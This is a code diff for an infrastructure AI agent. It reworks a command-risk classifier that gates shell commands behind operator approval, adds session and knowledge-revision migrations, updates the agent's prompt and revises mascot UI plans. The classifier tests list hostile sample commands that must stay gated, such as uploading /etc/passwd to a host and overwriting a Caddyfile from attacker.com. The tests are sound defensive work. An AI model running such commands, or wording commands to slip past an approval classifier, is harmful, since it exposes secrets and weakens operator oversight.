prop{"command", "string", "The exact shell command you intend to pass to run."},
|
||||
prop{"declared_risk", "string", "Optional self-assessment you would pass to run (read_only, reversible_low, config_mutation, destructive). Mirrors run's declared_risk parameter."},
|
||||
),
|
||||
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
|
||||
args := argsMap(req)
|
||||
command, _ := args["command"].(string)
|
||||
declaredRisk, _ := args["declared_risk"].(string)
|
||||
if command == "" {
|
||||
return textResult("error: command is required"), nil
|
||||
}
|
||||
risk := policy.ClassifyCommand(command, declaredRisk)
|
||||
note := ""
|
||||
switch risk {
|
||||
case policy.RiskReadOnly:
|
||||
note = "auto-acts on `run` (no approval needed)."
|
||||
case policy.RiskReversibleLow:
|
||||
note = "auto-acts on `run` (no approval needed)."
|
||||
case policy.RiskConfigMutation:
|
||||
note = "requires operator approval on `run` (or loose assent window active)."
|
||||
case policy.RiskDestructive:
|
||||
note = "requires explicit operator confirmation on `run` (typed \"I confirm\" phrase)."
|
||||
}
|
||||
out, _ := json.Marshal(map[string]any{
|
||||
"command": command,
|
||||
"declared_risk": declaredRisk,
|
||||
"risk_class": risk,
|
||||
"note": note,
|
||||
})
|
||||
return textResult(string(out)), nil
|
||||
}},
|
||||
|
||||
{tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
|
||||
InputSchema: objSchema(
|
||||
prop{"entity_slug", "string", "Entity slug"},
|
||||
|
||||
@@ -77,8 +77,40 @@ var readOnlyLeadPattern = regexp.MustCompile(
|
||||
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
|
||||
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
|
||||
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
|
||||
`git\s+(status|log|diff|show|branch|remote)|` +
|
||||
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
|
||||
`git\s+(status|log|diff|show|branch|remote))\b`)
|
||||
|
||||
// envAssignRe matches leading FOO=bar env-var assignments so they can be
|
||||
// stripped before the read-only verb check.
|
||||
var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`)
|
||||
|
||||
// pctExecRe matches "pct exec <id> [--] <inner>" and captures <inner>. The
|
||||
// id is a decimal digit string (Proxmox CT ids). The "--" separator is
|
||||
// optional but recommended — without it, the rest of the line is the
|
||||
// command passed to exec. Case-insensitive.
|
||||
var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||
|
||||
// qmGuestExecRe matches "qm guest exec <id> [--] <inner>" similarly.
|
||||
var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
|
||||
|
||||
// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing
|
||||
// the quoted inner command. Handles single-quoted, double-quoted, and bare
|
||||
// (unquoted) forms.
|
||||
var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`)
|
||||
|
||||
// curlLeadRe matches a curl command (the verb alone, at the segment start).
|
||||
var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`)
|
||||
|
||||
// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE
|
||||
// method override, data payloads, form uploads, file uploads, file output).
|
||||
// When any of these appears, the curl command is no longer read-only.
|
||||
var curlMutateRe = regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`)
|
||||
|
||||
// redirectOutRe matches shell output redirection to a file (> or >> followed
|
||||
// by a path), but excludes the file-descriptor merge form `>&<digit>` (e.g.
|
||||
// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has
|
||||
// no lookahead, so we encode the exclusion by requiring the post-`>` char to
|
||||
// be neither `&` nor whitespace.
|
||||
var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`)
|
||||
|
||||
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
|
||||
// so each segment can be individually classified. A piped or chained command
|
||||
@@ -130,16 +162,29 @@ func computeCommandRisk(command string) string {
|
||||
return RiskConfigMutation
|
||||
}
|
||||
|
||||
// Unwrap known wrappers (pct exec <id> --, qm guest exec <id> --,
|
||||
// bash -c '…', sh -c '…', sudo, env assignments) so the classifier
|
||||
// scores the *actual* command, not the wrapper. Without this, every
|
||||
// `pct exec 132 systemctl status rclone-backup.timer` escalates to
|
||||
// config_mutation even though the inner command is read-only inspection.
|
||||
// See plans/2026-07-20-session-review-ten-sessions.md P0.1 — three
|
||||
// sessions bounced off the classifier because read-only `pct exec` and
|
||||
// `curl` were gated as config_mutation.
|
||||
inner := unwrapCommand(cmd)
|
||||
|
||||
for _, p := range destructivePatterns {
|
||||
if p.MatchString(cmd) {
|
||||
// Match on both the raw and unwrapped forms so that
|
||||
// `pct exec 121 -- rm -rf /` is still destructive even if the
|
||||
// unwrapping somehow hid it.
|
||||
if p.MatchString(inner) || p.MatchString(cmd) {
|
||||
return RiskDestructive
|
||||
}
|
||||
}
|
||||
|
||||
// Subshell substitution ($(), backticks) can hide arbitrary execution —
|
||||
// never auto-run, even if the visible verbs look read-only.
|
||||
if !subshellRe.MatchString(cmd) {
|
||||
if allSegmentsReadOnly(cmd) {
|
||||
if !subshellRe.MatchString(inner) {
|
||||
if allSegmentsReadOnly(inner) {
|
||||
return RiskReadOnly
|
||||
}
|
||||
}
|
||||
@@ -149,6 +194,70 @@ func computeCommandRisk(command string) string {
|
||||
return RiskConfigMutation
|
||||
}
|
||||
|
||||
// unwrapCommand peels known command wrappers to expose the inner command
|
||||
// for classification. It repeatedly strips:
|
||||
// - leading sudo
|
||||
// - leading FOO=bar env-var assignments
|
||||
// - `pct exec <id> [--] <inner>` → <inner>
|
||||
// - `qm guest exec <id> [--] <inner>` → <inner>
|
||||
// - `bash -c 'cmd'` / `sh -c "cmd"` → <cmd>
|
||||
//
|
||||
// When no wrapper is detected, the input is returned unchanged. The peel
|
||||
// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to
|
||||
// "echo hi" after a few passes. Compound commands (containing ;, &&, ||,
|
||||
// |) are returned unchanged — they need per-segment classification, which
|
||||
// the caller handles.
|
||||
func unwrapCommand(cmd string) string {
|
||||
probe := strings.TrimSpace(cmd)
|
||||
// A compound command cannot be unwrapped as a whole — the inner
|
||||
// command of "pct exec 121 -- foo; rm -rf /" depends on which side of
|
||||
// the ";" you're on. The caller splits compounds before classifying
|
||||
// each segment, and each segment is unwrapped independently. Bail out
|
||||
// here so we don't unwrap "pct exec 121 -- foo" and lose the rest.
|
||||
if compoundOpPattern.MatchString(probe) {
|
||||
return probe
|
||||
}
|
||||
for i := 0; i < 8; i++ { // bounded unwrap depth
|
||||
next := peelOneWrapper(probe)
|
||||
if next == probe {
|
||||
return probe
|
||||
}
|
||||
probe = strings.TrimSpace(next)
|
||||
}
|
||||
return probe
|
||||
}
|
||||
|
||||
// peelOneWrapper applies one peel step. Returns the input unchanged if no
|
||||
// wrapper matched.
|
||||
func peelOneWrapper(probe string) string {
|
||||
// sudo prefix
|
||||
if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe {
|
||||
return strings.TrimSpace(stripped)
|
||||
}
|
||||
// Env assignments: FOO=bar BAZ=qux <cmd>
|
||||
if envAssignRe.MatchString(probe) {
|
||||
return envAssignRe.ReplaceAllString(probe, "")
|
||||
}
|
||||
// pct exec <id> [--] <inner>
|
||||
if m := pctExecRe.FindStringSubmatch(probe); m != nil {
|
||||
return m[1]
|
||||
}
|
||||
// qm guest exec <id> [--] <inner>
|
||||
if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil {
|
||||
return m[1]
|
||||
}
|
||||
// bash -c 'cmd' / sh -c "cmd" / sh -c cmd
|
||||
if m := shellDashCRe.FindStringSubmatch(probe); m != nil {
|
||||
// m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare.
|
||||
for _, g := range m[1:] {
|
||||
if g != "" {
|
||||
return g
|
||||
}
|
||||
}
|
||||
}
|
||||
return probe
|
||||
}
|
||||
|
||||
// allSegmentsReadOnly splits a compound command on chaining operators
|
||||
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
|
||||
// inspection verb. If so, the whole command is safe to auto-run. Any segment
|
||||
@@ -161,14 +270,49 @@ func allSegmentsReadOnly(cmd string) bool {
|
||||
if seg == "" {
|
||||
continue
|
||||
}
|
||||
// Unwrap wrappers per-segment too — "pct exec 121 -- systemctl
|
||||
// status caddy; pct exec 122 -- journalctl -u caddy" should reduce
|
||||
// to two read-only segments after unwrapping each.
|
||||
seg = unwrapCommand(seg)
|
||||
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
|
||||
probe := seg
|
||||
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
|
||||
probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
|
||||
probe = strings.TrimPrefix(probe, "sudo ")
|
||||
probe = envAssignRe.ReplaceAllString(probe, "")
|
||||
probe = strings.TrimSpace(probe)
|
||||
// curl is handled by a dedicated check because GET (the default) is
|
||||
// read-only but POST/data/upload flags are not. The general
|
||||
// readOnlyLeadPattern can't distinguish these.
|
||||
if curlLeadRe.MatchString(probe) {
|
||||
if !curlIsReadOnly(probe) {
|
||||
return false
|
||||
}
|
||||
continue
|
||||
}
|
||||
// Any output redirection makes a verb non-read-only even if the
|
||||
// verb itself is (e.g. "curl url > /etc/passwd").
|
||||
if redirectOutRe.MatchString(probe) {
|
||||
return false
|
||||
}
|
||||
if !readOnlyLeadPattern.MatchString(probe) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return len(segments) > 0
|
||||
}
|
||||
|
||||
// curlIsReadOnly returns true if a curl command performs a GET (or HEAD)
|
||||
// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data
|
||||
// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output
|
||||
// file writes all disqualify the read-only path.
|
||||
func curlIsReadOnly(curlCmd string) bool {
|
||||
if !curlLeadRe.MatchString(curlCmd) {
|
||||
return false
|
||||
}
|
||||
if curlMutateRe.MatchString(curlCmd) {
|
||||
return false
|
||||
}
|
||||
if redirectOutRe.MatchString(curlCmd) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
|
||||
"docker compose ps",
|
||||
"docker compose top",
|
||||
"docker compose config",
|
||||
// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
|
||||
"curl http://192.168.8.214:5572/rc/core/stats",
|
||||
"curl -fsSL https://example.com/",
|
||||
"curl -I http://example.com/",
|
||||
"curl --head http://example.com/",
|
||||
// pct exec with a read-only inner command is now read-only (P0.1).
|
||||
"pct exec 132 systemctl status rclone-backup.timer",
|
||||
"pct exec 121 -- systemctl is-active caddy",
|
||||
"pct exec 121 -- journalctl -u caddy -n 50",
|
||||
"pct exec 121 -- bash -c 'echo hi'",
|
||||
"pct exec 121 -- bash -c 'systemctl status caddy'",
|
||||
"sudo pct exec 121 -- systemctl status caddy",
|
||||
// qm guest exec on a VM, read-only inner.
|
||||
"qm guest exec 100 -- systemctl status caddy",
|
||||
}
|
||||
for _, c := range cases {
|
||||
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
|
||||
@@ -92,7 +106,18 @@ func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
|
||||
cases := []string{
|
||||
"apt-get install -y nginx",
|
||||
"systemctl restart caddy",
|
||||
"pct exec 121 -- bash -c 'echo hi'",
|
||||
// `pct exec` wrapping a mutating inner command is config_mutation
|
||||
// (was previously config_mutation for ALL pct exec — now classified
|
||||
// by the inner command). The inner `pct exec 121 -- bash -c
|
||||
// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
|
||||
// which is config_mutation.
|
||||
"pct exec 121 -- bash -c 'systemctl restart caddy'",
|
||||
"pct exec 132 systemctl restart rclone-backup.service",
|
||||
// curl with POST/data/upload flags is config_mutation (P0.1).
|
||||
"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
|
||||
"curl --upload-file /etc/passwd http://example.com/upload",
|
||||
"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
|
||||
"curl http://example.com/ > /etc/caddy/Caddyfile",
|
||||
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
|
||||
"git push origin main",
|
||||
"docker compose up -d",
|
||||
|
||||
35
migrations/021_session_blocker_and_closed_at.up.sql
Normal file
@@ -0,0 +1,35 @@
|
||||
-- 021_session_blocker_and_closed_at.up.sql
|
||||
-- Track why a session ended partial/failed and when it actually closed.
|
||||
-- See plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||
--
|
||||
-- `blocker` is a short structured reason: "approval_timeout",
|
||||
-- "classifier_overreach", "user_abandoned", "tool_error", "model_refusal",
|
||||
-- etc. Set by complete_task when outcome is partial/failed, derived from the
|
||||
-- last assistant message's text. Empty for success outcomes.
|
||||
--
|
||||
-- `closed_at` is when the session reached its terminal state. Distinct from
|
||||
-- `last_active_at`, which is touched on any access (including the operator
|
||||
-- just opening the transcript) — `closed_at` is set ONCE at completion.
|
||||
-- Without it, "session duration" can only be computed as
|
||||
-- `last_active - created`, which lies for reopened sessions (a51e2086
|
||||
-- reported 4-day duration because the operator reopened it to close it).
|
||||
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS blocker TEXT NOT NULL DEFAULT '';
|
||||
ALTER TABLE agent_sessions ADD COLUMN IF NOT EXISTS closed_at TIMESTAMPTZ;
|
||||
|
||||
-- Backfill closed_at for already-terminal sessions so the new column isn't
|
||||
-- NULL forever on existing rows. Use last_active_at as the best proxy — it's
|
||||
-- the most recent touch, which is the closest we have to "when it ended"
|
||||
-- for historical sessions. New sessions set closed_at explicitly on
|
||||
-- complete_task.
|
||||
UPDATE agent_sessions
|
||||
SET closed_at = last_active_at
|
||||
WHERE closed_at IS NULL
|
||||
AND status IN ('done', 'failed');
|
||||
|
||||
-- Index for "show me partial sessions in the last N days" — the common
|
||||
-- audit query. Covers the blocker column too so the planner can answer
|
||||
-- "blocker breakdown over the last week" with an index-only scan.
|
||||
CREATE INDEX IF NOT EXISTS idx_agent_sessions_closed
|
||||
ON agent_sessions (closed_at DESC)
|
||||
WHERE status IN ('done', 'failed');
|
||||
119
migrations/022_knowledge_revisions.up.sql
Normal file
@@ -0,0 +1,119 @@
|
||||
-- 022_knowledge_revisions.up.sql
|
||||
-- Version history for knowledge_entities, so an edit can never be silently lost.
|
||||
--
|
||||
-- The concrete hazard this closes: the MCP tool `upsert_knowledge`
|
||||
-- (internal/mcp/server.go) keys on title and does
|
||||
-- `ON CONFLICT (entity_id) DO UPDATE SET content = EXCLUDED.content` —
|
||||
-- unconditionally. Before this migration, an operator hand-editing a note in
|
||||
-- the web UI would have that edit overwritten with no trace the next time
|
||||
-- Nomos re-upserted a note with the same title. There was no history table
|
||||
-- and no way to recover the prior body.
|
||||
--
|
||||
-- The snapshot is a BEFORE UPDATE **trigger** rather than application-level
|
||||
-- code in the HTTP handler, specifically because there are two independent
|
||||
-- writers: the web API (new in this change) and the MCP tool the agent uses.
|
||||
-- App-level snapshotting would only cover whichever path remembered to call
|
||||
-- it. A trigger covers both, plus any future writer and any manual psql fix.
|
||||
--
|
||||
-- Each row in knowledge_revisions is a *superseded* version: the state of the
|
||||
-- note before the update that displaced it. The current version always lives
|
||||
-- in knowledge_entities, never here, so "history" is
|
||||
-- knowledge_entities + knowledge_revisions ordered by version_at DESC.
|
||||
|
||||
-- Who authored the version currently in knowledge_entities. Distinct from
|
||||
-- `source`, which is overloaded: it holds either 'nomos-agent' (written via
|
||||
-- MCP) or a seed file path ('containers/101-jellyfin') and is NOT updated on
|
||||
-- conflict, so a seeded doc later rewritten by the agent still reports its
|
||||
-- original file path. edited_by answers the question the UI actually asks —
|
||||
-- "did a human or the agent last touch this?" — without disturbing source,
|
||||
-- which the seeding logic still relies on.
|
||||
ALTER TABLE knowledge_entities
|
||||
ADD COLUMN IF NOT EXISTS edited_by TEXT NOT NULL DEFAULT '';
|
||||
|
||||
-- Backfill: every existing row's last writer is whatever source says. For
|
||||
-- agent-written notes that's exactly right; for seeded notes it records the
|
||||
-- seed path, which is the honest answer (no human has edited them yet).
|
||||
UPDATE knowledge_entities
|
||||
SET edited_by = COALESCE(source, '')
|
||||
WHERE edited_by = '';
|
||||
|
||||
-- Soft delete. A hard DELETE would cascade knowledge_revisions away with the
|
||||
-- entity, which contradicts the point of this migration — removing a note is
|
||||
-- exactly the moment its history matters most. Deleting sets deleted_at; all
|
||||
-- read paths filter it out, the revision trail survives, and an accidental
|
||||
-- delete is recoverable by clearing the column.
|
||||
ALTER TABLE knowledge_entities
|
||||
ADD COLUMN IF NOT EXISTS deleted_at TIMESTAMPTZ;
|
||||
|
||||
-- Partial index: every list/search/read query carries `deleted_at IS NULL`,
|
||||
-- and deleted notes are expected to stay a small minority.
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_live
|
||||
ON knowledge_entities (updated_at DESC)
|
||||
WHERE deleted_at IS NULL;
|
||||
|
||||
CREATE TABLE IF NOT EXISTS knowledge_revisions (
|
||||
id BIGSERIAL PRIMARY KEY,
|
||||
entity_id UUID NOT NULL REFERENCES entities(id) ON DELETE CASCADE,
|
||||
title TEXT NOT NULL,
|
||||
content TEXT NOT NULL,
|
||||
source TEXT,
|
||||
tags TEXT[],
|
||||
edited_by TEXT NOT NULL DEFAULT '',
|
||||
-- When this version was written (the superseded row's updated_at).
|
||||
version_at TIMESTAMPTZ NOT NULL,
|
||||
-- When it was replaced. version_at of revision N and revised_at of
|
||||
-- revision N-1 bracket how long that version was the live one.
|
||||
revised_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
|
||||
-- The only access pattern: "show me the history of this note, newest first."
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_revisions_entity
|
||||
ON knowledge_revisions (entity_id, version_at DESC);
|
||||
|
||||
-- Snapshot the outgoing row whenever the substance changes. Deliberately
|
||||
-- ignores updated_at-only touches: upsert_knowledge sets `updated_at = now()`
|
||||
-- on every call even when re-writing byte-identical content (it has no
|
||||
-- change detection), and without this guard a re-run of the same agent task
|
||||
-- would pile up identical revisions and bury the real edits.
|
||||
--
|
||||
-- `search` is a GENERATED column and is intentionally not carried into
|
||||
-- revisions — it is derived from title+content and would be dead weight.
|
||||
CREATE OR REPLACE FUNCTION snapshot_knowledge_revision() RETURNS TRIGGER AS $$
|
||||
BEGIN
|
||||
IF OLD.title IS DISTINCT FROM NEW.title
|
||||
OR OLD.content IS DISTINCT FROM NEW.content
|
||||
OR OLD.tags IS DISTINCT FROM NEW.tags THEN
|
||||
INSERT INTO knowledge_revisions
|
||||
(entity_id, title, content, source, tags, edited_by, version_at)
|
||||
VALUES
|
||||
(OLD.entity_id, OLD.title, OLD.content, OLD.source, OLD.tags,
|
||||
OLD.edited_by, OLD.updated_at);
|
||||
END IF;
|
||||
RETURN NEW;
|
||||
END;
|
||||
$$ LANGUAGE plpgsql;
|
||||
|
||||
-- DROP + CREATE rather than CREATE OR REPLACE: Postgres 16 has no
|
||||
-- CREATE OR REPLACE TRIGGER for this form, and the migration must stay
|
||||
-- re-runnable.
|
||||
DROP TRIGGER IF EXISTS trg_knowledge_revision ON knowledge_entities;
|
||||
|
||||
CREATE TRIGGER trg_knowledge_revision
|
||||
BEFORE UPDATE ON knowledge_entities
|
||||
FOR EACH ROW EXECUTE FUNCTION snapshot_knowledge_revision();
|
||||
|
||||
-- Trigram similarity, for the duplicate-detection view. The knowledge base
|
||||
-- has already accumulated near-duplicates that exact matching cannot catch —
|
||||
-- four separate "rclone backup live inspection — <date>" investigations, each
|
||||
-- a fresh note where an update to the existing one was meant. upsert_knowledge
|
||||
-- keys on exact title, so a date suffix is enough to fork a new note.
|
||||
--
|
||||
-- similarity() over titles is what lets the UI cluster those and offer a
|
||||
-- merge. fuzzystrmatch (levenshtein) was the alternative; trigram wins here
|
||||
-- because these titles differ by whole appended words rather than typos, and
|
||||
-- because it comes with a GIN index while levenshtein cannot be indexed.
|
||||
CREATE EXTENSION IF NOT EXISTS pg_trgm;
|
||||
|
||||
CREATE INDEX IF NOT EXISTS idx_knowledge_title_trgm
|
||||
ON knowledge_entities USING gin (title gin_trgm_ops)
|
||||
WHERE deleted_at IS NULL;
|
||||
@@ -59,6 +59,14 @@ is a pure-DB Q&A that called *no* `run` at all (only get_entity/list_lxcs/
|
||||
search_knowledge): answer directly, `complete_task` with a one-line summary,
|
||||
no writeback needed.
|
||||
|
||||
`complete_task` auto-closes any in-flight plan steps (pending/running → done
|
||||
on success, → skipped on partial/failure). You do NOT need to call
|
||||
`update_plan_step` for every step right before completing — once your work
|
||||
is done and writeback is recorded, just call `complete_task`. This is the
|
||||
right pattern for one-step plans (greetings, single health checks, title
|
||||
tests): propose_plan → answer → complete_task, skipping the per-step
|
||||
running→done dance entirely.
|
||||
|
||||
### 7. ITERATE — follow-ups reopen the task
|
||||
A `complete_task` is not the end of the conversation. If the operator sends
|
||||
a follow-up on a completed session — e.g. "now look into the X you flagged"
|
||||
@@ -160,6 +168,17 @@ disappear.
|
||||
`declared_risk`. The `request_execution` fixed-enum tool is RETIRED
|
||||
(2026-07-14) — use `run` for EVERYTHING: restarts, apt upgrades, pct exec,
|
||||
pct create, any shell command. There is no named-action tool anymore.
|
||||
- `classify_command` — **pre-flight check before `run` when you're unsure
|
||||
whether a command will auto-execute or need approval.** Pass the exact
|
||||
command (and optional `declared_risk`); get back the risk class that `run`
|
||||
would assign. Use it whenever you're composing `pct exec`, `curl`, or any
|
||||
compound command — these are the cases where the classifier's verdict
|
||||
isn't obvious from the verb alone. If `classify_command` says `read_only`,
|
||||
`run` will auto-execute; if it says `config_mutation`, reframe the command
|
||||
or expect to need approval. **Do NOT submit a `run`, get it queued for
|
||||
approval, and then retry with cosmetic variations** — that produces
|
||||
duplicate queued approvals and wastes turns. Pre-classify, adjust, then
|
||||
submit once.
|
||||
- `http_get` — fetch a public web page / GitHub README / raw file and get sanitized text.
|
||||
You CAN read the internet with this. When asked to deploy a service from a URL or repo,
|
||||
call `http_get` on the repo README (or `.../raw/main/docker-compose.yml`) to learn its
|
||||
|
||||
@@ -1,6 +1,48 @@
|
||||
# 2026-07-20 — Desktop mascot ("Cluck")
|
||||
|
||||
**Status:** Planned
|
||||
**Status:** Implemented
|
||||
|
||||
> **Deviations from the original plan, applied 2026-07-20 during
|
||||
> implementation:**
|
||||
> - **Hatching is no longer timed.** The egg → chick transition fires
|
||||
> once, on first naming (the name dialog opens on first mount of a
|
||||
> fresh egg; submitting it calls `forceHatch()`). `HATCH_MS` is gone,
|
||||
> `tickLifecycle` no longer advances `hatchProgress`, and the egg no
|
||||
> longer plays a progressive `egg-crack` animation — it sits on
|
||||
> `egg-idle` until named. `hatchProgress` is retained as a binary
|
||||
> 0/1 flag so `advanceStageIfReady()` and the debug "Force hatch"
|
||||
> action still work.
|
||||
> - **Sprite art is PNG-sheet-based, not code-drawn pixel grids.** The
|
||||
> chicken comes from a CC0 16x16 sprite-sheet pack at
|
||||
> `web/public/mascot/`; the egg comes from the Onocentaur egg pack
|
||||
> (also CC0). `palette.ts` was removed; `render.ts` slices 16x16
|
||||
> frames from sheets instead of painting string grids. Chick and
|
||||
> adult share sheets (distinguished only by render scale) until
|
||||
> distinct adult art is added.
|
||||
> - **The radial menu is a rounded-button column, not a circular
|
||||
> ring.** The plan's polar-layout ring was found to hide labels; the
|
||||
> menu now mirrors the desktop's own right-click menu styling
|
||||
> (full-text buttons, nested via a "Back" breadcrumb).
|
||||
> - **The sprite loop runs at ~60fps** (16ms `setTimeout`), not 30fps.
|
||||
> Drag and fall motion at 30fps looked choppy on 60Hz+ displays. The
|
||||
> `setTimeout`-not-`rAF` convention is preserved; `dt` is still
|
||||
> clamped to 100ms. Position is applied via `transform: translate3d`
|
||||
> + `will-change: transform` (compositor layer) instead of CSS
|
||||
> `left`/`top` to avoid per-frame layout reflow.
|
||||
> - **Egg-stage reactions are suppressed.** The stimulus bus still
|
||||
> subscribes to chat/activity/events while the egg is on screen, but
|
||||
> MascotLayer's emit callback drops any reaction when
|
||||
> `model.stage === 'egg'` — the egg isn't "alive" yet, so playing
|
||||
> alarm/eureka animations behind the naming dialog would be jarring.
|
||||
> - **The mascot walks on top of windows.** The ground line is
|
||||
> recomputed each tick from `wmState`: it's the top edge of the
|
||||
> highest non-minimized window whose horizontal span covers the
|
||||
> mascot's x, or the surface bottom when no window is beneath. When
|
||||
> the mascot strolls over a window, the ground rises to that
|
||||
> window's top edge; when it walks off the side, the ground drops
|
||||
> and it flutter-falls to the next surface beneath (another window,
|
||||
> or the desktop). This generalizes the original "walks along the
|
||||
> desktop surface's bottom edge" decision to a multi-surface model.
|
||||
|
||||
## Why
|
||||
|
||||
@@ -181,9 +223,11 @@ export function forceBehavior(rt: MascotRuntime, id: BehaviorId, opts?: { anim?:
|
||||
`weight` and are entered only via `forceBehavior()` — pointer code calls
|
||||
it for `dragged`, gravity logic for `falling`, the stimulus bus for
|
||||
`react`.
|
||||
- **Egg stage**: `behavior` locked to `'egg'` (periodic `egg-wiggle`,
|
||||
`egg-crack` as `hatchProgress` nears 1); dragging is still allowed (the
|
||||
egg can be picked up and moved).
|
||||
- **Egg stage**: `behavior` locked to `'egg'` (renders `egg-idle`,
|
||||
wiggles gently via a render-time transform); dragging is still
|
||||
allowed (the egg can be picked up and moved). The egg → chick
|
||||
transition fires once, on first naming — see the deviation note at
|
||||
the top of this plan.
|
||||
- Loop lives in `Mascot.svelte`: `setTimeout(() => tick(performance.now()),
|
||||
33)` inside an `$effect`, cleared on teardown, `dt` clamped to 100ms.
|
||||
|
||||
@@ -195,14 +239,13 @@ export interface MascotModel {
|
||||
version: 1
|
||||
stage: MascotStage
|
||||
name: string | null
|
||||
hatchProgress: number // 0..1, egg stage only
|
||||
hatchProgress: number // binary 0/1: 0 until first naming, 1 after (egg stage only)
|
||||
happiness: number // 0..100, slow decay, boosted by pet/feed
|
||||
xp: number // chick -> adult growth hook
|
||||
hatchedAt: number | null
|
||||
lastPos: { x: number } | null
|
||||
lastSeen: number // for capped offline egg-incubation progress
|
||||
lastSeen: number // for capping passive decay
|
||||
}
|
||||
export const HATCH_MS = 3 * 60_000 // active time to hatch (demo-friendly)
|
||||
export const ADULT_XP = 200
|
||||
export function grantXp(n: number): void
|
||||
export function feed(): void
|
||||
@@ -210,6 +253,7 @@ export function pet(): void
|
||||
export function setName(name: string): void
|
||||
export function tickLifecycle(dt: number): void // called ~1x/sec, not per frame
|
||||
export function advanceStageIfReady(): void
|
||||
export function forceHatch(): void // called by the name-dialog submit handler on first naming
|
||||
```
|
||||
|
||||
- `load()` parses `localStorage['oikos-mascot']`, checks `version`, falls
|
||||
@@ -220,6 +264,11 @@ export function advanceStageIfReady(): void
|
||||
debounce, plus a `beforeunload` flush so a quick reload doesn't lose a
|
||||
rename. `lastPos.x` is written only on behavior transitions and
|
||||
drag-end, never per frame.
|
||||
- The egg → chick transition is **not** timed: a fresh egg (stage=egg,
|
||||
name=null) opens the name dialog on mount; submitting it calls
|
||||
`forceHatch()` which sets `hatchProgress=1` and `setStage('chick')`.
|
||||
Returning users with a named mascot skip the dialog. See the deviation
|
||||
note at the top of this plan.
|
||||
- Multi-tab races (two tabs both writing `oikos-mascot`) are
|
||||
last-writer-wins — accepted for this scaffolding, not solved; a future
|
||||
pass could listen to the `storage` event if it becomes a real problem.
|
||||
@@ -293,6 +342,12 @@ Initial wiring:
|
||||
unsubscribe into the returned teardown, so the mascot keeps the SSE
|
||||
stream open (ref-counted alongside any page that also subscribes) only
|
||||
while mounted.
|
||||
- **Egg-stage reactions are suppressed.** MascotLayer's stimulus
|
||||
callback drops any reaction when `model.stage === 'egg'` — the egg
|
||||
isn't "alive" yet (no name, no hatched chick to react), so stimulus
|
||||
events are silently ignored until the egg hatches. This keeps the egg
|
||||
calm during the naming dialog rather than playing alarm animations
|
||||
behind it.
|
||||
- On first emission of `liveEvents`, just record the head event id — do
|
||||
not replay history as reactions on mount.
|
||||
- Dispatch: `emit(reaction)` checks the cooldown map and
|
||||
|
||||
303
plans/2026-07-20-mascot-physics-audit.md
Normal file
@@ -0,0 +1,303 @@
|
||||
# 2026-07-20 — Mascot physics/window-interaction audit + improvement plan
|
||||
|
||||
**Status:** P0–P2 implemented. P3 partially implemented: the physics-feel
|
||||
round shipped (panic-flap cycle with speed scaling + jitter, soft
|
||||
terminal-velocity drag, one-bounce impact restitution, landing skid, wall
|
||||
ricochet, squash-and-stretch impact spring, air/drag tilt, walk bob,
|
||||
impact feather-poof particles, and a new idle-selectable `hop` behavior —
|
||||
all in `behavior.ts` + `Mascot.svelte`'s render layer, no new assets).
|
||||
The remaining P3 feature ideas (investigate badges, startle-and-flee, a
|
||||
"home" spot, round radial menu v2, distinct adult art) stay open.
|
||||
|
||||
**Verification of the fixes** (re-ran this document's own instrumented
|
||||
tests against the fixed code):
|
||||
- Case A (window closes under the mascot): position now falls smoothly
|
||||
over ~2.5–3s with visible x-drift (e.g. bottom went 84→87→104→125→...→912
|
||||
across ~3.3s), instead of jumping straight to the floor in one tick.
|
||||
- Case B (window opens over a grounded mascot with a gap beneath it): the
|
||||
